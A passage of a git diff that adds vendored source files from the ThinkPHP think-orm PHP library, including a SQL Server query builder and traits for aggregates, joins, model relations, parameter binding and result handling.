+ $limitStr = ''; + + if (!empty($limit)) { + $limit = explode(',', $limit); + if (count($limit) > 1) { + $limitStr .= ' LIMIT ' . $limit[1] . ' OFFSET ' . $limit[0] . ' '; + } else { + $limitStr .= ' LIMIT ' . $limit[0] . ' '; + } + } + + return $limitStr; + } + + /** + * 随机排序 + * @access protected + * @param Query $query 查询对象 + * @return string + */ + protected function parseRand(Query $query): string + { + return 'RANDOM()'; + } + + /** + * 字段和表名处理 + * @access public + * @param Query $query 查询对象 + * @param mixed $key 字段名 + * @param bool $strict 严格检测 + * @return string + */ + public function parseKey(Query $query, $key, bool $strict = false): string + { + if (is_int($key)) { + return (string) $key; + } elseif ($key instanceof Raw) { + return $this->parseRaw($query, $key); + } + + $key = trim($key); + + if (strpos($key, '.')) { + [$table, $key] = explode('.', $key, 2); + + $alias = $query->getOptions('alias'); + + if ('__TABLE__' == $table) { + $table = $query->getOptions('table'); + $table = is_array($table) ? array_shift($table) : $table; + } + + if (isset($alias[$table])) { + $table = $alias[$table]; + } + } + + if (isset($table)) { + $key = $table . '.' . $key; + } + + return $key; + } +} diff --git a/vendor/topthink/think-orm/src/db/builder/Sqlsrv.php b/vendor/topthink/think-orm/src/db/builder/Sqlsrv.php new file mode 100644 index 0000000..779b5e3 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/builder/Sqlsrv.php @@ -0,0 +1,184 @@ + +// +---------------------------------------------------------------------- + +namespace think\db\builder; + +use think\db\Builder; +use think\db\exception\DbException as Exception; +use think\db\Query; +use think\db\Raw; + +/** + * Sqlsrv数据库驱动 + */ +class Sqlsrv extends Builder +{ + /** + * SELECT SQL表达式 + * @var string + */ + protected $selectSql = 'SELECT T1.* FROM (SELECT thinkphp.*, ROW_NUMBER() OVER (%ORDER%) AS ROW_NUMBER FROM (SELECT %DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%) AS thinkphp) AS T1 %LIMIT%%COMMENT%'; + /** + * SELECT INSERT SQL表达式 + * @var string + */ + protected $selectInsertSql = 'SELECT %DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%'; + + /** + * UPDATE SQL表达式 + * @var string + */ + protected $updateSql = 'UPDATE %TABLE% SET %SET% FROM %TABLE% %JOIN% %WHERE% %LIMIT% %LOCK%%COMMENT%'; + + /** + * DELETE SQL表达式 + * @var string + */ + protected $deleteSql = 'DELETE FROM %TABLE% %USING% FROM %TABLE% %JOIN% %WHERE% %LIMIT% %LOCK%%COMMENT%'; + + /** + * INSERT SQL表达式 + * @var string + */ + protected $insertSql = 'INSERT INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%'; + + /** + * INSERT ALL SQL表达式 + * @var string + */ + protected $insertAllSql = 'INSERT INTO %TABLE% (%FIELD%) %DATA% %COMMENT%'; + + /** + * order分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $order + * @return string + */ + protected function parseOrder(Query $query, array $order): string + { + if (empty($order)) { + return ' ORDER BY rand()'; + } + + $array = []; + + foreach ($order as $key => $val) { + if ($val instanceof Raw) { + $array[] = $this->parseRaw($query, $val); + } elseif ('[rand]' == $val) { + $array[] = $this->parseRand($query); + } else { + if (is_numeric($key)) { + [$key, $sort] = explode(' ', strpos($val, ' ') ? $val : $val . ' '); + } else { + $sort = $val; + } + + $sort = in_array(strtolower($sort), ['asc', 'desc'], true) ? ' ' . $sort : ''; + $array[] = $this->parseKey($query, $key, true) . $sort; + } + } + + return ' ORDER BY ' . implode(',', $array); + } + + /** + * 随机排序 + * @access protected + * @param Query $query 查询对象 + * @return string + */ + protected function parseRand(Query $query): string + { + return 'rand()'; + } + + /** + * 字段和表名处理 + * @access public + * @param Query $query 查询对象 + * @param mixed $key 字段名 + * @param bool $strict 严格检测 + * @return string + */ + public function parseKey(Query $query, $key, bool $strict = false): string + { + if (is_int($key)) { + return (string) $key; + } elseif ($key instanceof Raw) { + return $this->parseRaw($query, $key); + } + + $key = trim($key); + + if (strpos($key, '.') && !preg_match('/[,\'\"\(\)\[\s]/', $key)) { + [$table, $key] = explode('.', $key, 2); + + $alias = $query->getOptions('alias'); + + if ('__TABLE__' == $table) { + $table = $query->getOptions('table'); + $table = is_array($table) ? array_shift($table) : $table; + } + + if (isset($alias[$table])) { + $table = $alias[$table]; + } + } + + if ($strict && !preg_match('/^[\w\.\*]+$/', $key)) { + throw new Exception('not support data:' . $key); + } + + if ('*' != $key && !preg_match('/[,\'\"\*\(\)\[.\s]/', $key)) { + $key = '[' . $key . ']'; + } + + if (isset($table)) { + $key = '[' . $table . '].' . $key; + } + + return $key; + } + + /** + * limit + * @access protected + * @param Query $query 查询对象 + * @param mixed $limit + * @return string + */ + protected function parseLimit(Query $query, string $limit): string + { + if (empty($limit)) { + return ''; + } + + $limit = explode(',', $limit); + + if (count($limit) > 1) { + $limitStr = '(T1.ROW_NUMBER BETWEEN ' . $limit[0] . ' + 1 AND ' . $limit[0] . ' + ' . $limit[1] . ')'; + } else { + $limitStr = '(T1.ROW_NUMBER BETWEEN 1 AND ' . $limit[0] . ")"; + } + + return 'WHERE ' . $limitStr; + } + + public function selectInsert(Query $query, array $fields, string $table): string + { + $this->selectSql = $this->selectInsertSql; + + return parent::selectInsert($query, $fields, $table); + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php b/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php new file mode 100644 index 0000000..dabfb92 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php @@ -0,0 +1,107 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use think\db\Raw; + +/** + * 聚合查询 + */ +trait AggregateQuery +{ + /** + * 聚合查询 + * @access protected + * @param string $aggregate 聚合方法 + * @param string|Raw $field 字段名 + * @param bool $force 强制转为数字类型 + * @return mixed + */ + protected function aggregate(string $aggregate, $field, bool $force = false) + { + return $this->connection->aggregate($this, $aggregate, $field, $force); + } + + /** + * COUNT查询 + * @access public + * @param string|Raw $field 字段名 + * @return int + */ + public function count(string $field = '*'): int + { + if (!empty($this->options['group'])) { + // 支持GROUP + $options = $this->getOptions(); + $subSql = $this->options($options) + ->field('count(' . $field . ') AS think_count') + ->bind($this->bind) + ->buildSql(); + + $query = $this->newQuery()->table([$subSql => '_group_count_']); + + $count = $query->aggregate('COUNT', '*'); + } else { + $count = $this->aggregate('COUNT', $field); + } + + return (int) $count; + } + + /** + * SUM查询 + * @access public + * @param string|Raw $field 字段名 + * @return float + */ + public function sum($field): float + { + return $this->aggregate('SUM', $field, true); + } + + /** + * MIN查询 + * @access public + * @param string|Raw $field 字段名 + * @param bool $force 强制转为数字类型 + * @return mixed + */ + public function min($field, bool $force = true) + { + return $this->aggregate('MIN', $field, $force); + } + + /** + * MAX查询 + * @access public + * @param string|Raw $field 字段名 + * @param bool $force 强制转为数字类型 + * @return mixed + */ + public function max($field, bool $force = true) + { + return $this->aggregate('MAX', $field, $force); + } + + /** + * AVG查询 + * @access public + * @param string|Raw $field 字段名 + * @return float + */ + public function avg($field): float + { + return $this->aggregate('AVG', $field, true); + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php b/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php new file mode 100644 index 0000000..c33d1ed --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php @@ -0,0 +1,229 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use think\db\Raw; +use think\helper\Str; + +/** + * JOIN和VIEW查询 + */ +trait JoinAndViewQuery +{ + + /** + * 查询SQL组装 join + * @access public + * @param mixed $join 关联的表名 + * @param mixed $condition 条件 + * @param string $type JOIN类型 + * @param array $bind 参数绑定 + * @return $this + */ + public function join($join, string $condition = null, string $type = 'INNER', array $bind = []) + { + $table = $this->getJoinTable($join); + + if (!empty($bind) && $condition) { + $this->bindParams($condition, $bind); + } + + $this->options['join'][] = [$table, strtoupper($type), $condition]; + + return $this; + } + + /** + * LEFT JOIN + * @access public + * @param mixed $join 关联的表名 + * @param mixed $condition 条件 + * @param array $bind 参数绑定 + * @return $this + */ + public function leftJoin($join, string $condition = null, array $bind = []) + { + return $this->join($join, $condition, 'LEFT', $bind); + } + + /** + * RIGHT JOIN + * @access public + * @param mixed $join 关联的表名 + * @param mixed $condition 条件 + * @param array $bind 参数绑定 + * @return $this + */ + public function rightJoin($join, string $condition = null, array $bind = []) + { + return $this->join($join, $condition, 'RIGHT', $bind); + } + + /** + * FULL JOIN + * @access public + * @param mixed $join 关联的表名 + * @param mixed $condition 条件 + * @param array $bind 参数绑定 + * @return $this + */ + public function fullJoin($join, string $condition = null, array $bind = []) + { + return $this->join($join, $condition, 'FULL'); + } + + /** + * 获取Join表名及别名 支持 + * ['prefix_table或者子查询'=>'alias'] 'table alias' + * @access protected + * @param array|string|Raw $join JION表名 + * @param string $alias 别名 + * @return string|array + */ + protected function getJoinTable($join, &$alias = null) + { + if (is_array($join)) { + $table = $join; + $alias = array_shift($join); + return $table; + } elseif ($join instanceof Raw) { + return $join; + } + + $join = trim($join); + + if (false !== strpos($join, '(')) { + // 使用子查询 + $table = $join; + } else { + // 使用别名 + if (strpos($join, ' ')) { + // 使用别名 + [$table, $alias] = explode(' ', $join); + } else { + $table = $join; + if (false === strpos($join, '.')) { + $alias = $join; + } + } + + if ($this->prefix && false === strpos($table, '.') && 0 !== strpos($table, $this->prefix)) { + $table = $this->getTable($table); + } + } + + if (!empty($alias) && $table != $alias) { + $table = [$table => $alias]; + } + + return $table; + } + + /** + * 指定JOIN查询字段 + * @access public + * @param string|array $join 数据表 + * @param string|array $field 查询字段 + * @param string $on JOIN条件 + * @param string $type JOIN类型 + * @param array $bind 参数绑定 + * @return $this + */ + public function view($join, $field = true, $on = null, string $type = 'INNER', array $bind = []) + { + $this->options['view'] = true; + + $fields = []; + $table = $this->getJoinTable($join, $alias); + + if (true === $field) { + $fields = $alias . '.*'; + } else { + if (is_string($field)) { + $field = explode(',', $field); + } + + foreach ($field as $key => $val) { + if (is_numeric($key)) { + $fields[] = $alias . '.' . $val; + + $this->options['map'][$val] = $alias . '.' . $val; + } else { + if (preg_match('/[,=\.\'\"\(\s]/', $key)) { + $name = $key; + } else { + $name = $alias . '.' . $key; + } + + $fields[] = $name . ' AS ' . $val; + + $this->options['map'][$val] = $name; + } + } + } + + $this->field($fields); + + if ($on) { + $this->join($table, $on, $type, $bind); + } else { + $this->table($table); + } + + return $this; + } + + /** + * 视图查询处理 + * @access protected + * @param array $options 查询参数 + * @return void + */ + protected function parseView(array &$options): void + { + foreach (['AND', 'OR'] as $logic) { + if (isset($options['where'][$logic])) { + foreach ($options['where'][$logic] as $key => $val) { + if (array_key_exists($key, $options['map'])) { + array_shift($val); + array_unshift($val, $options['map'][$key]); + $options['where'][$logic][$options['map'][$key]] = $val; + unset($options['where'][$logic][$key]); + } + } + } + } + + if (isset($options['order'])) { + // 视图查询排序处理 + foreach ($options['order'] as $key => $val) { + if (is_numeric($key) && is_string($val)) { + if (strpos($val, ' ')) { + [$field, $sort] = explode(' ', $val); + if (array_key_exists($field, $options['map'])) { + $options['order'][$options['map'][$field]] = $sort; + unset($options['order'][$key]); + } + } elseif (array_key_exists($val, $options['map'])) { + $options['order'][$options['map'][$val]] = 'asc'; + unset($options['order'][$key]); + } + } elseif (array_key_exists($key, $options['map'])) { + $options['order'][$options['map'][$key]] = $val; + unset($options['order'][$key]); + } + } + } + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php b/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php new file mode 100644 index 0000000..ffb72de --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php @@ -0,0 +1,524 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use Closure; +use think\helper\Str; +use think\Model; +use think\model\Collection as ModelCollection; + +/** + * 模型及关联查询 + */ +trait ModelRelationQuery +{ + + /** + * 当前模型对象 + * @var Model + */ + protected $model; + + /** + * 指定模型 + * @access public + * @param Model $model 模型对象实例 + * @return $this + */ + public function model(Model $model) + { + $this->model = $model; + return $this; + } + + /** + * 获取当前的模型对象 + * @access public + * @return Model|null + */ + public function getModel() + { + return $this->model; + } + + /** + * 设置需要隐藏的输出属性 + * @access public + * @param array $hidden 需要隐藏的字段名 + * @return $this + */ + public function hidden(array $hidden) + { + $this->options['hidden'] = $hidden; + return $this; + } + + /** + * 设置需要输出的属性 + * @access public + * @param array $visible 需要输出的属性 + * @return $this + */ + public function visible(array $visible) + { + $this->options['visible'] = $visible; + return $this; + } + + /** + * 设置需要追加输出的属性 + * @access public + * @param array $append 需要追加的属性 + * @return $this + */ + public function append(array $append) + { + $this->options['append'] = $append; + return $this; + } + + /** + * 添加查询范围 + * @access public + * @param array|string|Closure $scope 查询范围定义 + * @param array $args 参数 + * @return $this + */ + public function scope($scope, ...$args) + { + // 查询范围的第一个参数始终是当前查询对象 + array_unshift($args, $this); + + if ($scope instanceof Closure) { + call_user_func_array($scope, $args); + return $this; + } + + if (is_string($scope)) { + $scope = explode(',', $scope); + } + + if ($this->model) { + // 检查模型类的查询范围方法 + foreach ($scope as $name) { + $method = 'scope' . trim($name); + + if (method_exists($this->model, $method)) { + call_user_func_array([$this->model, $method], $args); + } + } + } + + return $this; + } + + /** + * 设置关联查询 + * @access public + * @param array $relation 关联名称 + * @return $this + */ + public function relation(array $relation) + { + if (!empty($relation)) { + $this->options['relation'] = $relation; + } + + return $this; + } + + /** + * 使用搜索器条件搜索字段 + * @access public + * @param string|array $fields 搜索字段 + * @param mixed $data 搜索数据 + * @param string $prefix 字段前缀标识 + * @return $this + */ + public function withSearch($fields, $data = [], string $prefix = '') + { + if (is_string($fields)) { + $fields = explode(',', $fields); + } + + $likeFields = $this->getConfig('match_like_fields') ?: []; + + foreach ($fields as $key => $field) { + if ($field instanceof Closure) { + $field($this, $data[$key] ?? null, $data, $prefix); + } elseif ($this->model) { + // 检测搜索器 + $fieldName = is_numeric($key) ? $field : $key; + $method = 'search' . Str::studly($fieldName) . 'Attr'; + + if (method_exists($this->model, $method)) { + $this->model->$method($this, $data[$field] ?? null, $data, $prefix); + } elseif (isset($data[$field])) { + $this->where($fieldName, in_array($fieldName, $likeFields) ? 'like' : '=', in_array($fieldName, $likeFields) ? '%' . $data[$field] . '%' : $data[$field]); + } + } + } + + return $this; + } + + /** + * 设置数据字段获取器 + * @access public + * @param string|array $name 字段名 + * @param callable $callback 闭包获取器 + * @return $this + */ + public function withAttr($name, callable $callback = null) + { + if (is_array($name)) { + $this->options['with_attr'] = $name; + } else { + $this->options['with_attr'][$name] = $callback; + } + + return $this; + } + + /** + * 关联预载入 In方式 + * @access public + * @param array|string $with 关联方法名称 + * @return $this + */ + public function with($with) + { + if (!empty($with)) { + $this->options['with'] = (array) $with; + } + + return $this; + } + + /** + * 关联预载入 JOIN方式 + * @access protected + * @param array|string $with 关联方法名 + * @param string $joinType JOIN方式 + * @return $this + */ + public function withJoin($with, string $joinType = '') + { + if (empty($with)) { + return $this; + } + + $with = (array) $with; + $first = true; + + foreach ($with as $key => $relation) { + $closure = null; + $field = true; + + if ($relation instanceof Closure) { + // 支持闭包查询过滤关联条件 + $closure = $relation; + $relation = $key; + } elseif (is_array($relation)) { + $field = $relation; + $relation = $key; + } elseif (is_string($relation) && strpos($relation, '.')) { + $relation = strstr($relation, '.', true); + } + + $result = $this->model->eagerly($this, $relation, $field, $joinType, $closure, $first); + + if (!$result) { + unset($with[$key]); + } else { + $first = false; + } + } + + $this->via(); + + $this->options['with_join'] = $with; + + return $this; + } + + /** + * 关联统计 + * @access protected + * @param array|string $relations 关联方法名 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param bool $subQuery 是否使用子查询 + * @return $this + */ + protected function withAggregate($relations, string $aggregate = 'count', $field = '*', bool $subQuery = true) + { + if (!$subQuery) { + $this->options['with_count'][] = [$relations, $aggregate, $field]; + } else { + if (!isset($this->options['field'])) { + $this->field('*'); + } + + $this->model->relationCount($this, (array) $relations, $aggregate, $field, true); + } + + return $this; + } + + /** + * 关联缓存 + * @access public + * @param string|array|bool $relation 关联方法名 + * @param mixed $key 缓存key + * @param integer|\DateTime $expire 缓存有效期 + * @param string $tag 缓存标签 + * @return $this + */ + public function withCache($relation = true, $key = true, $expire = null, string $tag = null) + { + if (false === $relation || false === $key || !$this->getConnection()->getCache()) { + return $this; + } + + if ($key instanceof \DateTimeInterface || $key instanceof \DateInterval || (is_int($key) && is_null($expire))) { + $expire = $key; + $key = true; + } + + if (true === $relation || is_numeric($relation)) { + $this->options['with_cache'] = $relation; + return $this; + } + + $relations = (array) $relation; + foreach ($relations as $name => $relation) { + if (!is_numeric($name)) { + $this->options['with_cache'][$name] = is_array($relation) ? $relation : [$key, $relation, $tag]; + } else { + $this->options['with_cache'][$relation] = [$key, $expire, $tag]; + } + } + + return $this; + } + + /** + * 关联统计 + * @access public + * @param string|array $relation 关联方法名 + * @param bool $subQuery 是否使用子查询 + * @return $this + */ + public function withCount($relation, bool $subQuery = true) + { + return $this->withAggregate($relation, 'count', '*', $subQuery); + } + + /** + * 关联统计Sum + * @access public + * @param string|array $relation 关联方法名 + * @param string $field 字段 + * @param bool $subQuery 是否使用子查询 + * @return $this + */ + public function withSum($relation, string $field, bool $subQuery = true) + { + return $this->withAggregate($relation, 'sum', $field, $subQuery); + } + + /** + * 关联统计Max + * @access public + * @param string|array $relation 关联方法名 + * @param string $field 字段 + * @param bool $subQuery 是否使用子查询 + * @return $this + */ + public function withMax($relation, string $field, bool $subQuery = true) + { + return $this->withAggregate($relation, 'max', $field, $subQuery); + } + + /** + * 关联统计Min + * @access public + * @param string|array $relation 关联方法名 + * @param string $field 字段 + * @param bool $subQuery 是否使用子查询 + * @return $this + */ + public function withMin($relation, string $field, bool $subQuery = true) + { + return $this->withAggregate($relation, 'min', $field, $subQuery); + } + + /** + * 关联统计Avg + * @access public + * @param string|array $relation 关联方法名 + * @param string $field 字段 + * @param bool $subQuery 是否使用子查询 + * @return $this + */ + public function withAvg($relation, string $field, bool $subQuery = true) + { + return $this->withAggregate($relation, 'avg', $field, $subQuery); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $relation 关联方法名 + * @param mixed $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @return $this + */ + public function has(string $relation, string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '') + { + return $this->model->has($relation, $operator, $count, $id, $joinType, $this); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $relation 关联方法名 + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @return $this + */ + public function hasWhere(string $relation, $where = [], string $fields = '*', string $joinType = '') + { + return $this->model->hasWhere($relation, $where, $fields, $joinType, $this); + } + + /** + * 查询数据转换为模型数据集对象 + * @access protected + * @param array $resultSet 数据集 + * @return ModelCollection + */ + protected function resultSetToModelCollection(array $resultSet): ModelCollection + { + if (empty($resultSet)) { + return $this->model->toCollection(); + } + + // 检查动态获取器 + if (!empty($this->options['with_attr'])) { + foreach ($this->options['with_attr'] as $name => $val) { + if (strpos($name, '.')) { + [$relation, $field] = explode('.', $name); + + $withRelationAttr[$relation][$field] = $val; + unset($this->options['with_attr'][$name]); + } + } + } + + $withRelationAttr = $withRelationAttr ?? []; + + foreach ($resultSet as $key => &$result) { + // 数据转换为模型对象 + $this->resultToModel($result, $this->options, true, $withRelationAttr); + } + + if (!empty($this->options['with'])) { + // 预载入 + $result->eagerlyResultSet($resultSet, $this->options['with'], $withRelationAttr, false, $this->options['with_cache'] ?? false); + } + + if (!empty($this->options['with_join'])) { + // 预载入 + $result->eagerlyResultSet($resultSet, $this->options['with_join'], $withRelationAttr, true, $this->options['with_cache'] ?? false); + } + + // 模型数据集转换 + return $this->model->toCollection($resultSet); + } + + /** + * 查询数据转换为模型对象 + * @access protected + * @param array $result 查询数据 + * @param array $options 查询参数 + * @param bool $resultSet 是否为数据集查询 + * @param array $withRelationAttr 关联字段获取器 + * @return void + */ + protected function resultToModel(array &$result, array $options = [], bool $resultSet = false, array $withRelationAttr = []): void + { + // 动态获取器 + if (!empty($options['with_attr']) && empty($withRelationAttr)) { + foreach ($options['with_attr'] as $name => $val) { + if (strpos($name, '.')) { + [$relation, $field] = explode('.', $name); + + $withRelationAttr[$relation][$field] = $val; + unset($options['with_attr'][$name]); + } + } + } + + // JSON 数据处理 + if (!empty($options['json'])) { + $this->jsonResult($result, $options['json'], $options['json_assoc'], $withRelationAttr); + } + + $result = $this->model + ->newInstance($result, $resultSet ? null : $this->getModelUpdateCondition($options)); + + // 动态获取器 + if (!empty($options['with_attr'])) { + $result->withAttribute($options['with_attr']); + } + + // 输出属性控制 + if (!empty($options['visible'])) { + $result->visible($options['visible']); + } elseif (!empty($options['hidden'])) { + $result->hidden($options['hidden']); + } + + if (!empty($options['append'])) { + $result->append($options['append']); + } + + // 关联查询 + if (!empty($options['relation'])) { + $result->relationQuery($options['relation'], $withRelationAttr); + } + + // 预载入查询 + if (!$resultSet && !empty($options['with'])) { + $result->eagerlyResult($result, $options['with'], $withRelationAttr, false, $options['with_cache'] ?? false); + } + + // JOIN预载入查询 + if (!$resultSet && !empty($options['with_join'])) { + $result->eagerlyResult($result, $options['with_join'], $withRelationAttr, true, $options['with_cache'] ?? false); + } + + // 关联统计 + if (!empty($options['with_count'])) { + foreach ($options['with_count'] as $val) { + $result->relationCount($this, (array) $val[0], $val[1], $val[2], false); + } + } + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/ParamsBind.php b/vendor/topthink/think-orm/src/db/concern/ParamsBind.php new file mode 100644 index 0000000..296e221 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/ParamsBind.php @@ -0,0 +1,106 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use PDO; + +/** + * 参数绑定支持 + */ +trait ParamsBind +{ + /** + * 当前参数绑定 + * @var array + */ + protected $bind = []; + + /** + * 批量参数绑定 + * @access public + * @param array $value 绑定变量值 + * @return $this + */ + public function bind(array $value) + { + $this->bind = array_merge($this->bind, $value); + return $this; + } + + /** + * 单个参数绑定 + * @access public + * @param mixed $value 绑定变量值 + * @param integer $type 绑定类型 + * @param string $name 绑定标识 + * @return string + */ + public function bindValue($value, int $type = null, string $name = null) + { + $name = $name ?: 'ThinkBind_' . (count($this->bind) + 1) . '_' . mt_rand() . '_'; + + $this->bind[$name] = [$value, $type ?: PDO::PARAM_STR]; + return $name; + } + + /** + * 检测参数是否已经绑定 + * @access public + * @param string $key 参数名 + * @return bool + */ + public function isBind($key) + { + return isset($this->bind[$key]); + } + + /** + * 参数绑定 + * @access public + * @param string $sql 绑定的sql表达式 + * @param array $bind 参数绑定 + * @return void + */ + public function bindParams(string &$sql, array $bind = []): void + { + foreach ($bind as $key => $value) { + if (is_array($value)) { + $name = $this->bindValue($value[0], $value[1], $value[2] ?? null); + } else { + $name = $this->bindValue($value); + } + + if (is_numeric($key)) { + $sql = substr_replace($sql, ':' . $name, strpos($sql, '?'), 1); + } else { + $sql = str_replace(':' . $key, ':' . $name, $sql); + } + } + } + + /** + * 获取绑定的参数 并清空 + * @access public + * @param bool $clear 是否清空绑定数据 + * @return array + */ + public function getBind(bool $clear = true): array + { + $bind = $this->bind; + if ($clear) { + $this->bind = []; + } + + return $bind; + } +} diff --git a/vendor/topthink/think-orm/src/db/concern/ResultOperation.php b/vendor/topthink/think-orm/src/db/concern/ResultOperation.php new file mode 100644 index 0000000..d93c409 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/ResultOperation.php @@ -0,0 +1,247 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use Closure; +use think\Collection; +use think\db\exception\DataNotFoundException; +use think\db\exception\DbException; +use think\db\exception\ModelNotFoundException; +use think\db\Query; +use think\helper\Str; +use think\Model; + +/** + * 查询数据处理 + */ +trait ResultOperation +{ + /** + * 是否允许返回空数据(或空模型) + * @access public + * @param bool $allowEmpty 是否允许为空 + * @return $this + */ + public function allowEmpty(bool $allowEmpty = true) + { + $this->options['allow_empty'] = $allowEmpty; + return $this; + } + + /** + * 设置查询数据不存在是否抛出异常 + * @access public + * @param bool $fail 数据不存在是否抛出异常 + * @return $this + */ + public function failException(bool $fail = true) + { + $this->options['fail'] = $fail; + return $this; + } + + /** + * 处理数据 + * @access protected + * @param array $result 查询数据 + * @return void + */ + protected function result(array &$result): void + { + if (!empty($this->options['json'])) { + $this->jsonResult($result, $this->options['json'], true); + } + + if (!empty($this->options['with_attr'])) { + $this->getResultAttr($result, $this->options['with_attr']); + } + + $this->filterResult($result); + } + + /** + * 处理数据集 + * @access public + * @param array $resultSet 数据集 + * @return void + */ + protected function resultSet(array &$resultSet): void + { + if (!empty($this->options['json'])) { + foreach ($resultSet as &$result) { + $this->jsonResult($result, $this->options['json'], true); + } + } + + if (!empty($this->options['with_attr'])) { + foreach ($resultSet as &$result) { + $this->getResultAttr($result, $this->options['with_attr']); + } + } + + if (!empty($this->options['visible']) || !empty($this->options['hidden'])) { + foreach ($resultSet as &$result) { + $this->filterResult($result); + } + } + + // 返回Collection对象 + $resultSet = new Collection($resultSet); + } + + /** + * 处理数据的可见和隐藏 + * @access protected + * @param array $result 查询数据 + * @return void + */ + protected function filterResult(&$result): void + { + $array = []; + if (!empty($this->options['visible'])) { + foreach ($this->options['visible'] as $key) { + $array[] = $key; + } + $result = array_intersect_key($result, array_flip($array)); + } elseif (!empty($this->options['hidden'])) { + foreach ($this->options['hidden'] as $key) { + $array[] = $key; + } + $result = array_diff_key($result, array_flip($array)); + } + } + + /** + * 使用获取器处理数据 + * @access protected + * @param array $result 查询数据 + * @param array $withAttr 字段获取器 + * @return void + */ + protected function getResultAttr(array &$result, array $withAttr = []): void + { + foreach ($withAttr as $name => $closure) { + $name = Str::snake($name); + + if (strpos($name, '.')) { + // 支持JSON字段 获取器定义 + [$key, $field] = explode('.', $name); + + if (isset($result[$key])) { + $result[$key][$field] = $closure($result[$key][$field] ?? null, $result[$key]); + } + } else { + $result[$name] = $closure($result[$name] ?? null, $result); + } + } + } + + /** + * 处理空数据 + * @access protected + * @return array|Model|null + * @throws DbException + * @throws ModelNotFoundException + * @throws DataNotFoundException + */ + protected function resultToEmpty() + { + if (!empty($this->options['fail'])) { + $this->throwNotFound(); + } elseif (!empty($this->options['allow_empty'])) { + return !empty($this->model) ? $this->model->newInstance() : []; + } + } + + /** + * 查找单条记录 不存在返回空数据(或者空模型) + * @access public + * @param mixed $data 数据 + * @return array|Model + */ + public function findOrEmpty($data = null) + { + return $this->allowEmpty(true)->find($data); + } + + /** + * JSON字段数据转换 + * @access protected + * @param array $result 查询数据 + * @param array $json JSON字段 + * @param bool $assoc 是否转换为数组 + * @param array $withRelationAttr 关联获取器 + * @return void + */ + protected function jsonResult(array &$result, array $json = [], bool $assoc = false, array $withRelationAttr = []): void + { + foreach ($json as $name) { + if (!isset($result[$name])) { + continue; + } + + $result[$name] = json_decode($result[$name], true); + + if (isset($withRelationAttr[$name])) { + foreach ($withRelationAttr[$name] as $key => $closure) { + $result[$name][$key] = $closure($result[$name][$key] ?? null, $result[$name]); + } + } + + if (!$assoc) { + $result[$name] = (object) $result[$name]; + } + } + } + + /** + * 查询失败 抛出异常 + * @access protected + * @return void + * @throws ModelNotFoundException + * @throws DataNotFoundException + */ + protected function throwNotFound(): void + { + if (!empty($this->model)) { + $class = get_class($this->model); + throw new ModelNotFoundException('model data Not Found:' . $class, $class, $this->options); + } + + $table = $this->getTable(); + throw new DataNotFoundException('table data not Found:' . $table, $table, $this->options); + } + + /** + * 查找多条记录 如果不存在则抛出异常 + * @access public + * @param array|string|Query|Closure $data 数据 + * @return array|Model + */ + public function selectOrFail($data = null) + { + return $this->failException(true)->select($data); + } + + /** + * 查找单条记录 如果不存在则抛出异常 + * @access public + * @param array|string|Query|Closure $data 数据 + * @return array|Model + */ + public function findOrFail($data = null) + { + return $this->failException(true)->find($data); + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php b/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php new file mode 100644 index 0000000..9070bef --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php @@ -0,0 +1,99 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +/** + * 数据字段信息 + */ +trait TableFieldInfo +{ + + /** + * 获取数据表字段信息 + * @access public + * @param string $tableName 数据表名 + * @return array + */ + public function getTableFields($tableName = ''): array + { + if ('' == $tableName) { + $tableName = $this->getTable(); + } + + return $this->connection->getTableFields($tableName); + } + + /** + * 获取详细字段类型信息 + * @access public + * @param string $tableName 数据表名称 + * @return array + */ + public function getFields(string $tableName = ''): array + { + return $this->connection->getFields($tableName ?: $this->getTable()); + } + + /** + * 获取字段类型信息 + * @access public + * @return array + */ + public function getFieldsType(): array + { + if (!empty($this->options['field_type'])) { + return $this->options['field_type']; + } + + return $this->connection->getFieldsType($this->getTable()); + } + + /** + * 获取字段类型信息 + * @access public + * @param string $field 字段名 + * @return string|null + */ + public function getFieldType(string $field) + { + $fieldType = $this->getFieldsType(); + + return $fieldType[$field] ?? null; + } + + /** + * 获取字段类型信息 + * @access public + * @return array + */ + public function getFieldsBindType(): array + { + $fieldType = $this->getFieldsType(); + + return array_map([$this->connection, 'getFieldBindType'], $fieldType); + } + + /** + * 